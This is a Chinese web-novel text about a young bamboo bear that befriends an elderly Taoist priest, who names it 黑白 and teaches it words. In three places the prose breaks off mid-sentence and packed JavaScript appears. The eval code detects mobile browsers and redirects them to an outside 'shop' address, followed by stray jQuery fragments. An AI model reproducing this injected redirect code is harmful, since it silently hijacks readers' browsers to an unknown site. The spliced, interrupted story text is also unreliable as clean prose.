那人走到院子里,弯下腰,开始扫地。扫把在地上划来划去,枯叶和灰尘被赶到一堆,发出沙沙沙沙的声音。那声音和它踩在枯叶上的声音不一样,更轻,更脆,一下一下的,很有节奏。 那人扫得很慢,很仔细,每一寸地都扫到了。扫完了一片,又扫另一片。它趴在竹林边上,听着那沙沙的声音,看着那东西弯着腰慢慢移动。 扫完了地,那个人把扫帚靠在墙边,又进了屋。出来的时候,手里拿着几块木板和一把小锤子,坐在石桌旁边敲敲打打。 当当当的声音从院子里传过来,很脆,很响。它不知道那个人在做什么,只是盯着看。木板在手里翻来翻去,锤子敲在不同的地方,发出不同的声音。 它正看得入神,肚子叫了一声。不是饿得厉害,但确实该吃东西了。 它犹豫了一下,又看了那个人一眼。那个人还在敲敲打打,没有注意到它。它慢慢从竹林边上退回去,退到竹林深处,找了几根嫩笋吃了。 吃饱了,它又沿着原路回到竹林边,在那丛竹子后面趴下来。那个人还在。 手里的木板换了一块,锤子还在敲。 敲了一阵,那个人放下锤子,拿起一块刨子,在木板上来回推。刨花从木板边上卷起来,一卷一卷的,薄薄的,白白的。 它盯着那些刨花看了一会儿,觉得很好看。太阳慢慢往头顶爬。那个人做了一阵木工,收拾好了东西,站起来进了屋。 过了一会儿又出来,手里拿着一个石臼和一把杵,从屋里拿出一些干巴巴的东西——像是树皮,又像是草根——放进石臼里捣。 咚咚咚的声音,比敲木板的声音闷。 它闻到了新的气味,不是食物的那种香,是另一种——苦苦的,涩涩的,但很好闻。 它的肚子又叫了一声。它看了看太阳,已经爬到头顶了。它又退回去,吃了两根笋,喝了点溪水,然后回到竹林边。 那个人还在捣那些东西,一下一下的,很有耐心。它趴在那里看着,看着看着,腿麻了,它换了个姿势,把身体往左边歪了歪。 太阳从头顶往西边滑。那个人捣完了那些东西,又进了屋。过了很久,端着一个碗出来了,坐在石桌旁边吃了起来。 香味又飘过来了,它又咽了咽口水。但它不饿,刚才吃过了。吃完了,那个人站起来,走进前面那座大屋子里,对着里面黑黝黝的影子站了很久,一动不动的。 它不知道那个人在做什么,只是盯着看。太阳又往西边落了一些,竹林的影子拉长了。那个人从大屋子里出来,进了后面的屋子,没有再出来。院子里安静了,只有风偶尔吹过,带起几片落叶。 它打了个哈欠,慢慢从竹林边上退回去。回到它的窝里,枯叶还是软软的,暖暖的。 它趴下来,把下巴搁在前爪上,脑子里还想着白天看见的东西。那个用两只脚走路的人,那个圆圆的冒着热气的东西,那个当当当的锤子,那个咚咚咚的石臼。 它不明白那些东西是什么,但它想明天再去看。 第二天,它又去了。 那个人出来的时候,它趴在竹林边看着。 那个人扫地,它看。 那个人做木工,它看。 那个人制香,它看。 那个人吃饭,它流口水。 太阳西斜的时候,它回窝睡觉。 第三天,第四天,它每天都去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446819|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>每天趴在竹林边的那丛竹子后面,看着那个人在院子里忙。它知道了那个人什么时候出来,什么时候吃饭,什么时候扫地,什么时候做木工。 它知道了那个人吃饭的时候会嚼得很慢,知道了那个人扫地的时候会先从左边扫到右边,知道了那个人做木工的时候会停下来想一想,然后再继续。 它不知道那个人叫什么,不知道那个人在做什么,但它喜欢每天趴在那里看那个人。 它不知道的是,那个人也发现了它。 道一在这座小道观里住了四十多年。 这座道观不大,前面是前殿,供奉着三清祖师,香客来上香就在前殿。 后面连着一个小小的后院,是他的住处——一间卧房,一间厨房,一个堆杂物的小棚子。 院子不大,但收拾得干干净净。一棵老树,一张石桌,几把石凳。他在后院里吃饭、做木工、制香、读书、打坐。 这几天,他它发现竹林里有动静。 一开始他没在意。山里的风大,竹子响一响很正常。但那个动静不是风——风是有规律的,一阵一阵的。 那个动静没有规律,有时候早上有,有时候下午有,有时候一整天都有。而且一直在同一个位置,就在竹林边缘的那丛竹子后面。 道一没有特意去看。他该扫地扫地,该吃饭吃饭,该做木工做木工。但他留意到了。 那个动静不大,应该是一只小动物。藏在同一个地方好几天了,不跑也不闹,就那么安安静静地待着。 道一在院子里扫地的时候,余光扫过那丛竹子。他看见竹子后面有一团黑白色的东西,圆滚滚的,缩在枯叶里。 他认出来了——是一只竹熊。不大,应该还是幼崽,圆圆的脑袋,短短的腿,毛茸茸的,缩在那里像一只球。 竹熊在这片山里不常见,但也不是没有。它以前见过几次,都是远远的,看见人就跑。 这一只不一样,它不跑,也不闹,就那么趴在竹林边上,安安静静地看着他。 它在看他,他知道。 它的眼睛在竹子后面,亮亮的,圆圆的,一直跟着它转。 他扫地的时候它看着,他吃饭的时候它看着,他做木工的时候它也看着,他好像对它很好奇。 道一没有赶它。山里的东西,有它们自己的活法。它愿意看,就让它看。它愿意在竹林里住着,就让它住着。 那片竹林本来就不是它的,是山的,是竹子的。他只是在这旁边建了一座小道观,住了几十年。 他不去打扰它,也不特意去看它。他只是每天该做什么做什么。扫地,做饭,做木工,制香。 他知道它在看,但他不回头。他不想吓着它。 日子就这样过了好几天。道一在院子里忙他的,小竹熊在竹林里看它的。谁也不打扰谁,谁也不赶谁。 道一有时候做饭的时候会多做一点,但他没有把吃的放到院子外面去。山里的东西,不能让它们养成靠人的习惯。 他只是偶尔在扫地的时候,往那丛竹子那边看一眼。 那团黑白色的东西还在,圆圆的,毛茸茸的,缩在枯叶里,安安静静的。 当当当的声音又在院子里响起来了。竹林那边,那双黑眼睛还在看着。 5. 第五章:翻过那道墙 它在竹林里观察那座院子好些日子了。 每天它都会趴在竹林边的那丛竹子后面,看着那个人在院子里忙活,扫地,吃饭,做木工,制香。 日子一天天过去,那个人身上那种平和的气息,像竹林里的风,像溪水里的石头,让它越来越安心。 那个人从不往它这边看,从不试图靠近它,从不发出大声响。有时候它趴得太久了,换个姿势弄出一点声响,那个人也好像没听见一样,继续做自己的事。 它渐渐不那么警惕了。 又过了两天,它开始试着从竹子后面走出来。 最开始只是探出半个脑袋,然后很快缩回去。 那个人没有反应。后来它把整个脑袋都伸出来,露在竹子外面,趴在那里看。那个人还是没有反应。 再后来,它站起来,从竹子后面走出来一步,站在那里,全身都暴露在空地上。 风吹在它身上,阳光照在它身上,没有竹子挡着,它有点不习惯。它回头看了一下竹林——很近,跑回去只要一眨眼。 它又转回头看着那个人。那个人在院子里扫地,背对着它,一下一下的,和往常一样。它又往前迈了一步。停下来。又迈了一步。又停下来。那个人始终没有回头。 它走到了墙根下面。那道墙是石头垒的,灰扑扑的,它趴在这里看了很多天,从来没这么近地看过。 它抬起头,墙比它高,但没有高太多。它围着墙根走了一圈,找到了一个看起来比较矮的地方。 它站在那里,看了看墙头,又看了看自己的后腿。它的腿短短的,但很有劲。 它蹲下来,后腿绷紧,然后猛地一蹬——身体弹起来,前爪搭上了墙头。它扒住石头缝,后腿在墙上蹬了几下,整个身体就翻了上去。 它趴在墙头上,四条腿分开,肚子贴着石头,凉凉的。 它往下看——院子里面,石桌,石凳,那棵老树。那个人背对着它,还在扫地。沙沙沙沙的声音从下面传上来,很清晰。 它的心跳得很快。它趴在墙头上看了一会儿,那个人一直没有回头。它慢慢把一条腿伸过墙头,试探着往下探。爪子够不到地面,还差一截。它又把另一条腿也伸过去,身体慢慢往下滑。 石头磨着它的肚皮,有点疼,但它咬着牙没出声。后腿在墙头上蹬了一下,整个身体往下坠了一截,爪子碰到了地面。它稳住身体,四条腿都落了地。声音不大,但那个人停下了手里的扫帚。 它浑身僵住了。趴在地上,一动不动,连呼吸都屏住了。 它听见扫帚被轻轻靠在墙边的声音,然后是脚步声——很慢,很轻,朝它这边走过来。一步,两步,三步。 它的心跳快得像要从胸腔里蹦出来,爪子抓紧了地面的泥土,指甲嵌进石头缝里。它想跑,但腿软了,不听使唤。它只能趴在那里,把身体缩成一团,耳朵贴着脑袋,尾巴夹在屁股下面。 脚步声停了。它感觉那个人就站在它面前,很近,近得它能闻到那个人身上的气味——不是食物的那种香,是另一种,淡淡的,像晒干的草,像老树皮,像雨后竹林里的风。 它趴在地上,不敢抬头。它的身体在发抖,从爪子一直抖到耳朵尖。 它等着那个人发出声音,等着那个人赶它走,等着那个人像母亲一样冲过来咬它。 但那个人什么都没有做。过了很久,也许只是一小会儿,它听见那个人轻轻笑了一声。 不是嘲笑,也不是惊吓,是一种很轻很淡的笑,像风从竹林里穿过去的声音,像溪水从石头上漫过去的声音。那笑声里没有威胁,没有恶意,什么都没有,只是轻轻的一声。 然后脚步声又响了起来,这次是往远处去的。扫帚被拿起来的声音,沙沙沙沙的声音又开始了。那个人继续扫地,从左边扫到右边,一下一下的,和刚才一样。 它趴在地上,过了好一会儿才慢慢抬起头。那个人背对着它,在院子的另一边扫地。灰蓝色的袍子在风里轻轻飘着,挽起的头发在阳光下泛着光。 它慢慢站起来,四条腿还在发抖。它看了看那个人,又看了看那道墙。 它转身跑到墙根下面,后腿一蹬,前爪搭上墙头,翻了过去。落在院子外面的时候,它踉跄了一下,膝盖磕在地上,有点疼。 它顾不上疼,头也不回地跑回了竹林里,钻进那丛竹子后面,趴下来,喘了很久。 那天它没有再出去。 它趴在竹林边上,从竹子缝里看着那道墙,看着那个人在院子里忙。那个人一直没往这边看。 第二天,它又去了。 它在墙根下面站了一会儿,抬头看了看墙头。昨天翻过去的时候,肚皮被石头磨了一下,还有点疼。 但它还是站起来,后腿一蹬,扒住墙头,翻了过去。这一次它落地的声音轻了一些,也没有磨到肚皮。 它趴在墙根下面,等了一会儿。 那个人在石桌旁边坐着,背对着它,好像在看书。它没有动。它又等了一会儿。那个人翻了一页书,沙的一声。 它站起来,开始在院子里走。 很慢,很小步,每走一步就停下来看看那个人。 那个人没有回头,也没有停下翻书的动作。 它走到石桌旁边,离那个人只有几步远。它能看见那个人的侧脸——清瘦的线条,颧骨微微突出。几缕白须从下巴上垂下来,在风里轻轻飘着。 那个人低着头看书,很专心,好像不知道它在这里。 它站在石桌旁边,看了一会儿。然后它的目光落在了石桌上。 桌上有一本书,翻开着的,纸页发黄,上面密密麻麻的都是黑字。它不认识那是什么,但它盯着看了一会儿,觉得那些弯弯曲曲的线条很有意思。 旁边还有一个小碟子,碟子里放着三块黄褐色的东西,圆圆的,冒着微微的热气。 那股香味飘进它的鼻子里。 不是果子的甜,也不是竹子的清,是另一种——粮食的香,朴素的,厚实的,暖烘烘的。像太阳晒过的谷粒,像刚出锅的馍。 它的口水一下子就涌了出来,滴在胸前的毛上。 它看了看那个人,那个人还在看书。 它又看了看碟子里的东西,咽了咽口水。 它伸出爪子,轻轻地、轻轻地碰了碰碟子边。碟子动了一下,发出很轻的一声响,瓷和石头碰在一起的声音。 它的心提到了嗓子眼,爪子僵在半空中。 但那个人没有抬头,只是又翻了一页书。 它用爪子把碟子往自己这边拨了拨,低头咬住一块。 那东西一进嘴里,它的眼睛就瞪大了——软的,暖的,粮食的甜味在舌尖上慢慢化开,不浓不淡,刚刚好。 那种甜不是果子的甜,是另一种,更深,更厚,像是从土地里长出来的,带着太阳的温度。 它从来没吃过这么好吃的东西。 它嚼了两下,那股暖意从喉咙一直滑到胃里,舒服得它眯起了眼睛,耳朵也跟着往后抿了一下。 它又看了看碟子。还有两块。它咽了咽口水,又咬住一块。这一块比刚才那块还软,牙齿陷进去的时候,那股粮食的香味从里面透出来,钻进鼻子里,它舍不得咽,含在嘴里品了好一会儿。 那味道在舌尖上慢慢散开,一层一层的,先是粮食的甜,然后是淡淡的咸,最后是一股它说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446820|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上来的香气。 它含了好久才吞下去,嘴里全是粮食的香味。 碟子里还剩一块。 它看了看那块窝窝头,又看了看那个人。那个人低着头看书,侧脸的线条很安静,白须在风里轻轻飘着。 它又看了看碟子里那块窝窝头——圆圆的,黄褐色的,还在冒着微微的热气。 它把碟子轻轻推回原来的位置,然后转身跑了。 跑到墙根下面,后腿一蹬,前爪搭上墙头,翻了过去。落在院子外面的时候,它回头看了一眼那道墙,然后跑回了竹林里。 钻进那丛竹子后面,趴下来,心跳得像擂鼓。 它舔着嘴唇上残留的粮食的甜味,回味了很久。那股味道在舌尖上转了一圈又一圈,怎么也散不掉。 它闭上眼睛,还能想起那块东西在嘴里的感觉——软的,暖的,一嚼就开,顺着喉咙滑下去,整个身子都暖了。 把最后一块留下,它也没有后悔。虽然它的肚子还没有饱,但它没有把它叼走藏起来,也没有咬一口再放下。它只是把它留在那里,留给那个人。没有人教过它,只是本能地觉得应该这样做。 吃竹笋的时候都还在回味,决定明天还要去。 道一放下书的时候,那只小竹熊已经翻墙跑了。 他看了看石桌上的碟子。三块窝窝头,少了两块。碟子被推到了一边,上面还沾着一点亮晶晶的东西——是口水。 他又看了看桌腿,上面有一道浅浅的爪印,是那只小竹熊刚才碰到的。 他顺着那道墙看过去。石头垒的,不高,一只半大的竹熊能翻过来,不奇怪。 他又看了看竹林那边。竹子安安静静的,什么也看不见。但他知道那只小竹熊在那里,趴在老地方。 道一的目光落回碟子里。还剩一块。那只小竹熊吃了两块,留下了一块。是吃不下了? 他看了看碟子上的爪印,又看了看墙头。 他没有把那块窝窝头放到墙根下面。山里的东西,不能让它们养成靠人的习惯。靠人喂的动物,活不长。 这只小竹熊能在山上活下来,找到这片竹林,自己找笋吃,那是它的本事。他不欠它什么,他也不该让它觉得可以从人这里得到吃的。 他站在那里,风吹过来,袍角飘了一下。他拿起碟子,走进厨房,用布盖好。 然后他拿起扫帚,打扫院子。沙沙沙沙的声音在院子里响着,和往常一样。 他一边扫一边想。那只小竹熊明天还会来吗?它翻过了那道墙,吃到了想吃的东西,也许觉得这里也没什么意思了。也许它还会来,趴在墙头上看一会儿,然后翻墙进来,在院子里走一走,看一看,然后翻墙出去。也许它会把这里当成它的地方,想来就来,想走就走。 山里的东西,有它们自己的活法。 他扫完了地,把扫帚靠在墙边,进了厨房。 他蒸了一锅新的窝窝头,和昨天一样多,用杂粮面,掺了一点野菜。蒸好以后,他拣了三块放在碟子里,搁在石桌边上。剩下的用布盖上,留着明天。 第二天一早,他端着碗出来的时候,院子里安安静静的。他坐下来,开始吃自己的早饭。吃完了,他把碟子放在石桌边上,拿起一本书,慢慢地翻。 他的目光偶尔会往那道墙那边看一下。墙头上空空的,什么都没有。他翻了一页书,又翻了一页。 快到中午的时候,他听见了声音。很轻,从墙那边传过来——爪子扒在石头上的声音,身体翻过墙头的声音,四只爪子落在地上的声音。 他没有抬头,继续翻他的书。但他的嘴角动了一下,自己都没察觉。 那只小竹熊又来了。 6. 第六章:院子里的常客 自从那天它翻墙进来吃了两块窝窝头以后,它就成了这后院里的常客。 起初它还是小心翼翼的。翻墙进来以后先在墙根下面趴一会儿,竖起耳朵听半天,确认院子里只有那个人,才慢慢走到石桌旁边。 碟子里的窝窝头它吃两块,留一块,然后趴在石桌旁边看那个人做事,看一会儿就翻墙走了。 后来它待的时间越来越长,从吃完就走变成趴着看半天,从趴着看半天变成在他脚边睡觉,从他脚边睡觉变成跟着他在院子里走来走去。 它不再一吃完就走,有时候要待到太阳偏西才翻墙回去。 道一也习惯了它的存在。 院子里的老树叶子从嫩绿变成深绿,墙根的兰草开了又谢,竹林的笋从冒尖长成了竹子。 它还在那里,每天都来。 他扫地的时候,它就跟在扫帚后面跑,扫帚到左边它到左边,扫帚到右边它到右边。 落叶被扫成一堆,它跑过去踩一脚,叶子飞起来,它吓得往后跳,然后又跑回来再踩一脚。 它以为他在和它玩,四条小腿倒腾得飞快,尾巴翘得高高的。道一不赶它,也不停下手里的活,就让它跟着。 扫完了,他把扫帚靠在墙根,它就跑过去,在扫帚旁边趴下来,好像在替他看着。 他做木工的时候,它就趴在石桌旁边看。锤子抬起来它的眼睛就跟着抬起来,锤子落下去它的眼睛就跟着落下去。 刨花从木板边上卷起来,一卷一卷的白白的,它伸出爪子碰一碰,刨花飘到地上,它又碰一碰,刨花滚了一圈。 玩够了,就趴下来把下巴搁在前爪上,看着他的手在木头上推来推去。它看不懂,但它看得很认真,好像这是什么了不得的事情。 他制香的时候,它趴在石臼旁边闻味道。香草被捣碎了,一股苦苦的涩涩的气味飘出来,它的鼻子抽动几下,打个喷嚏,甩甩头,然后又凑过来闻。有时候闻着闻着就睡着了,下巴搁在石桌边上,呼噜声细细的,和捣杵的声音混在一起,也不觉得吵。 它最期待的,还是他做饭的时候。 道一做饭很简单。早上蒸几个杂面窝窝头,配一碗清粥,就是一顿。中午有时候下面条,有时候把早上剩的窝窝头热一热,烧一碗菜汤。菜汤里没什么东西,几片白菜叶子,一点盐,偶尔有几块豆腐。 他一个人吃了几十年,不觉得有什么不好。但自从它来了以后,做饭好像变得不太一样了。 它会在他进厨房的时候跟过来,蹲在门槛外面,往里面探脑袋。它不进来,就在门口等着,鼻子一抽一抽的,闻着锅里冒出来的热气。 他在灶台前面忙,它就在门口坐着,等他把吃的端出来。 有一次他下了面条,端着碗出来的时候,它跟在脚边,走一步跟一步。他坐下来,它就趴在旁边,眼睛盯着他的碗,嘴巴微微张着,舌头若隐若现。 他挑起一根面条吹了吹,它的眼睛就跟着面条转。他吃了一口,它的喉结动了一下,咽了口口水。 道一看了它一眼。它的目光从面条上移开,看了看他,又移回面条上。他从碗里挑起一根面条,晾了晾,放在石桌边上。 它凑过去闻了闻,然后小心翼翼地咬住一头,吸溜一下,面条就进了嘴。它嚼了两下,咽下去,舔舔嘴,又看着他。他又挑了一根给它。它又吸溜一下吃了。 道一的面条吃得比平时慢了很多,但碗见了底的时候,它的肚子也鼓了起来。 它吃完以后没有走,趴在他脚边,舔着嘴里的面条味,舔了很久。 从那以后,它每到饭点就蹲在厨房门口等。不管他做什么,面条、菜汤、粥,它都要分一口。 但最喜欢的还是窝窝头。每天早上碟子里的三块窝窝头,它永远是先吃那两块,剩一块。 他不知道它为什么剩一块,也许是不饿,也许是别的什么原因。他从来不问,也猜不透一只竹熊的心思。 日子久了,它离他越来越近。从最开始隔着好几步远,到后来趴在石桌旁边,再后来趴在他脚边。 现在,它会在他坐着的时候站起来,把前爪搭在石凳上,凑近看他在做什么。它的鼻子里喷出的热气喷在他手上,湿湿的,暖暖的。 它看他的书,看那些弯弯曲曲的黑字,看他把书页翻过来翻过去。它看不懂,但它看得很认真,脑袋跟着他的手指移动。有时候它会伸出爪子,轻轻地碰一碰书页,纸页沙沙地响,它吓得缩回去,但过了一会儿又伸出来。 他做木工的时候,它不再只是远远地看了。 它会走过来,在他脚边坐下,有时候会用爪子碰一碰地上的木板,碰一下,缩回去,再碰一下。他刨木板的时候,刨花飞出去,它就跑过去追,追到了叼回来,放在他脚边。他把它放下的刨花拿起来放在一边,它又去追下一片。 一来一回,它玩得不亦乐乎,尾巴翘得高高的,眼睛亮亮的。它已经完全不怕他了。 它知道这个人不会伤害它,不会赶它走。 它可以在院子里做任何事,可以趴在他脚边睡觉,可以跟在他后面走来走去,可以在他做饭的时候蹲在门口等,可以从他碗里捞面条吃。 它知道这个人很好,它想每天都来。 它确实每天都来。不管晴天雨天,它都会翻墙进来。 下雨天它会淋得湿透,毛贴在身上,显得更圆了。它进来以后先抖毛,水珠溅得到处都是,然后跑到屋檐下面蹲着,等他出来。 他出来的时候,它就蹲在屋檐下,眼睛亮亮地看着他,尾巴扫来扫去。 他会在屋檐下给它留一块干的地方,有时候放一块破布,它就趴在上面,把自己舔干。舔完了就趴在那里,看雨从屋檐上滴下来,一滴一滴的,落在石板地上,溅起小小的水花。它看着那些水花,有时候会伸出爪子去接,水落在爪子上,凉凉的,它缩回去,然后又伸出来。 道一坐在旁边,手里端着茶,看着雨。它趴在他脚边,看着雨滴。谁也不说话。 雨声哗哗的,盖住了所有的声音。院子里积了水,老树的叶子被雨打落了几片,浮在水面上。 墙根的兰草被雨洗得绿油油的,几朵小花耷拉着脑袋。它看了一会儿雨,打了个哈欠,把下巴搁在他的脚背上,闭上眼睛。 它的毛还是湿的,贴在他脚踝上,凉凉的。但过了一会儿,就被他的体温捂暖了。它睡得很沉,呼噜声细细的,和雨声混在一起。 道一低头看着它。它缩成一团,圆滚滚的身子一起一伏,黑白分明的毛皮上沾着水珠。黑的一块像墨,白的一块像雪,一块一块的,从脑袋一直铺到尾巴。 他看了它很久。这只竹熊在他院子里待了这么多天,他从来没有想过要给它起名字。它只是一只竹熊,山里的竹熊,不需要名字。 但它天天来,天天在他脚边睡觉,天天从他碗里捞面条吃,天天在院子里追刨花。它已经不是一只随随便便的竹熊了。它是他院子里的竹熊。 他看着它身上的毛色,黑的黑,白的白。那些斑块在他眼前铺开,像一幅画,简单,干净,清清楚楚。黑是黑,白是白,中间不带一点含糊。他想起自己年轻时候读过的一句老话——“知其白,守其黑。”那时候不懂,现在也不见得懂。 但这只竹熊身上的颜色,黑的归黑,白的归白,各是各的,清清楚楚。 “黑白。”他轻轻地叫了一声。 声音很低,被雨声盖住了大半。 它没有醒,耳朵动了一下,又不动了。他又叫了一声:“黑白。” 它的耳朵又动了一下。这次动得更明显一些,像是听见了什么,又像是在梦里听见了什么。 它的尾巴轻轻扫了一下地面,沙的一声,然后又不动了。 道一没有再叫。他端起茶杯,喝了一口。茶已经凉了,凉茶有一股涩味,在舌根上慢慢化开。 他看着院子里的雨,看着屋檐上滴下来的水珠,看着墙根被雨打得歪歪斜斜的兰草。那只竹熊趴在他脚边,呼吸一起一伏的,肚子圆滚滚的。 黑白。 他在心里又念了一遍。这个名字很合适它。 简单,不绕弯子,是什么就是什么。就像它一样。 雨小了一些。从哗哗的变成淅淅沥沥的,从淅淅沥沥的变成滴滴答答的。天边有一块云薄了,透出一点灰白的光。竹林的叶子被雨洗过,绿得发亮。空气里有一股湿湿的泥土味,混着兰草的清香。 它动了一下,抬起头,打了个哈欠。嘴巴张得大大的,露出粉色的舌头和还没长全的犬齿。它看了看他,又看了看院子里的雨,站起来伸了个懒腰,四条小腿蹬得直直的。 它跑到院子中间,在雨里站了一会儿,仰着头,让雨滴落在脸上。然后它跑回来,抖了抖毛,在他脚边趴下来。这次没有睡,就趴在那里,看着雨从屋檐上滴下来。 道一低头看它。它好像感觉到了他的目光,抬起头,和他对视了一下。它的眼睛黑亮亮的,圆溜溜的,里面映着屋檐的影子,映着他的影子。 它看了一会儿,又把头转回去,继续看雨。 “黑白。”他叫了一声。 这次声音大了一些,没有被雨盖住。它的耳朵竖了起来,头转过来,看着他。 它不知道这个声音是什么意思,但它在听。 它看着他,他也看着它。 雨滴滴答答的,屋檐上的水珠一颗一颗地落下来,落在石板上,碎了。 它把脑袋歪了一下,像是在想什么。然后它站起来,走到他手边,用鼻子拱了拱他的手指。 他的手指上沾着茶水的凉意,它的鼻子湿湿的,暖暖的。拱了一下,又拱了一下。然后它在他脚边趴下来,把下巴搁在他的脚背上,闭上了眼睛。 日子继续往前走。道一慢慢发现,这只竹熊不太一样。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446821|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 最开始是扫地的时候。他扫到左边,它跟在左边;他扫到右边,它跟在右边。有一次他停下来,看着它,随口说了一句:“让一让。” 它看了他一眼,然后真的往旁边挪了两步,蹲在那里等他扫完那块地再跟上来。道一愣了一下,但没有多想。 也许是巧合,也许是他站的位置刚好挡住了它的路。后来是做木工的时候。他把刨花放在一边,它叼回来放在他脚边。 他拿起刨花,说了句:“放那边去。”他指了指旁边的篮子。它叼起刨花,看了看篮子,走过去,把刨花丢在篮子旁边——没丢进去,但方向是对的。 道一愣了一下。 他看着它,它也看着他,好像在等他下一步指示。 “再试一次。”他拿起一片刨花,放在它面前,指了指篮子。它叼起来,走到篮子旁边,这次把脑袋伸进篮子里,把刨花放了进去。然后它退出来,蹲在篮子旁边,仰着头看他。 道一放下手里的木板,看了它很久。 这不是普通的竹熊。 从那天起,他开始有意无意地试它。吃饭的时候,他说“坐下”,它就蹲在他脚边。他指着石桌旁边的位置说“趴这儿”,它就过去趴下。 他端着碗进厨房的时候说“等着”,它就蹲在门槛外面,一直等到他出来。不是每一次都准,有时候它要歪着脑袋想一会儿,有时候它做错了,跑到别的地方去,但他再说一遍,它就能做对。 道一心里越来越惊讶。他在这山里住了四十多年,见过不少动物,有灵性的也见过,但从没见过这样的。 它不只是有灵性,它能听懂人话。不是那种听到声音有反应的程度,是真正的、理解意思的听懂。 有一天,他坐在石桌旁边看书,黑白趴在他脚边。 他翻了一页书,随口念了一句:“道可道,非常道。” 念完自己摇了摇头,几十年了,这句话他还是说不清楚。 黑白抬起头,看了他一眼,又把头低下去了。他以为它没在意。 过了一会儿,黑白站起来,走到院子中间,在地上打了个滚。打完滚趴在那里,仰着头看天上的云。 道一看着它,突然想起什么。他放下书,叫了一声:“黑白。”它转过头看他。“过来。” 它站起来,走回来,在他脚边趴下。他看着它的眼睛。那双眼睛里面映着他的影子,也映着天上的云,映着竹林的绿,映着这个院子的安静。 它看着他,不急不躁,好像在等他说话。他伸出手,摸了摸它的头。它的毛软软的,暖暖的,耳朵在他手心里动了一下。 他想起师父说过的话——万物有灵,但不是所有的灵都能被人看见。 有些东西,你看不见,但它就在那里。这只竹熊身上的灵,他看见了。 不只是看见,它就在他脚边,每天都能摸到。 “你到底是什么?”他轻声问。 黑白歪了一下脑袋,没有回答。 它不知道自己是什么,也不知道这有什么特别的。 它只知道这个人的手摸在头上很舒服,这个人的声音很好听,这个人的院子是它在山上找到的最好的地方。 道一没有再去想这个问题。他不需要知道它是什么。 它是他院子里的竹熊,他给它取了名字,叫黑白。 从那以后,他和它说话的时候更多了。 扫地的时候说“把落叶扫到那边去”,它听不懂“扫”,但它会跟着扫帚跑,把落叶踩得更乱。他笑着说“算了,你还是别帮倒忙了”,它就蹲在旁边看他扫,尾巴在地上扫来扫去。 做木工的时候说“把刨花捡起来”,它就叼着刨花往篮子里放,有时候放进去,有时候放不进去,放不进去的时候就叼回来再试一次,直到放进去为止。 它做对了的时候,他会说一声“好”。它听见这个字,尾巴就会摇一下,眼睛亮亮的,像是在等下一个指令。 它做错了的时候,他也不生气,只是再说一遍。它就再试一次,试到对为止。 它不知道什么叫“聪明”,什么叫“灵性”。它只知道,这个人说的话,它想听懂。它想听懂他在说什么,想知道他在想什么,想明白他为什么有时候看着远处发呆,为什么有时候念一些它听不懂的句子,为什么摸它头的时候手会轻轻发抖。 它把下巴搁在他脚背上的时候,他翻了一页书。 脚背上那团暖意沉甸甸的,它的呼吸喷在他的鞋面上,湿湿的,暖暖的。 “黑白。”他叫了一声。 它的耳朵竖起来,抬起头看他。 “没事。”他说。 它看了他一会儿,又把下巴搁回他脚背上,闭上了眼睛。阳光照在它身上,照在他身上。院子里的老树沙沙地响,风从竹林那边吹过来。 他翻了一页书,它动了一下,换了个姿势,又睡着了。 7. 第七章:雪地里的字 日子一天天过去,院子里的老树叶子从金黄落尽,只剩光秃秃的枝丫伸向灰白的天。 道一教黑白认字,从“人”字开始,慢慢加到“大”“天”“山”“水”。他用木炭在木板上写一个字,念给它听,然后指着那个字,让它看。 黑白蹲在旁边,盯着那些弯弯曲曲的线条,把它们的形状记住。它不会写——爪子握不了笔,木炭也拿不稳,它只能看,只能记。 道一每天写十来个字,教完了就把木板放在它面前,让它自己看。 黑白趴在木板前面,一个字一个字地看过去,看完一遍再看一遍,看到眼睛发涩了,就把下巴搁在桌沿上,等着道一收走。 道一不光是教它认字,还教它背书。他念一句,它听着,念完了,让它复述。 黑白当然说不出话来,它只是一只竹熊,不会说话。但它记住了那些声音,一个字一个字地记在脑子里。道一念“道可道,非常道”,它就听着,把那些音节一个一个地记住。 道一念完了,看着它的眼睛。它的眼睛黑亮亮的,里面映着他的影子,映着桌上的木板,映着院子里光秃秃的老树。道一看了很久,点点头,说:“记住了。” 他不知道它是怎么记住的,但他能从它的眼睛里看出来——它听进去了,记在脑子里了。就像它能听懂他的话一样,它能记住他念过的每一个字。 有时候道一念完一段,会停下来问它:“刚才念的什么?” 它当然不会回答,但它会把脑袋歪一下,眼睛往上看,好像在回想。然后它看着道一,尾巴在地上扫一下。道一就知道了,它记住了。 有时候它会听完以后把脑袋埋进前爪里,趴着一动不动,道一就知道它没记住,就再念一遍。它不抬头,他就再念一遍。 念到第三遍的时候,它抬起头,看着他,尾巴扫一下。他就翻过去,念下一段。 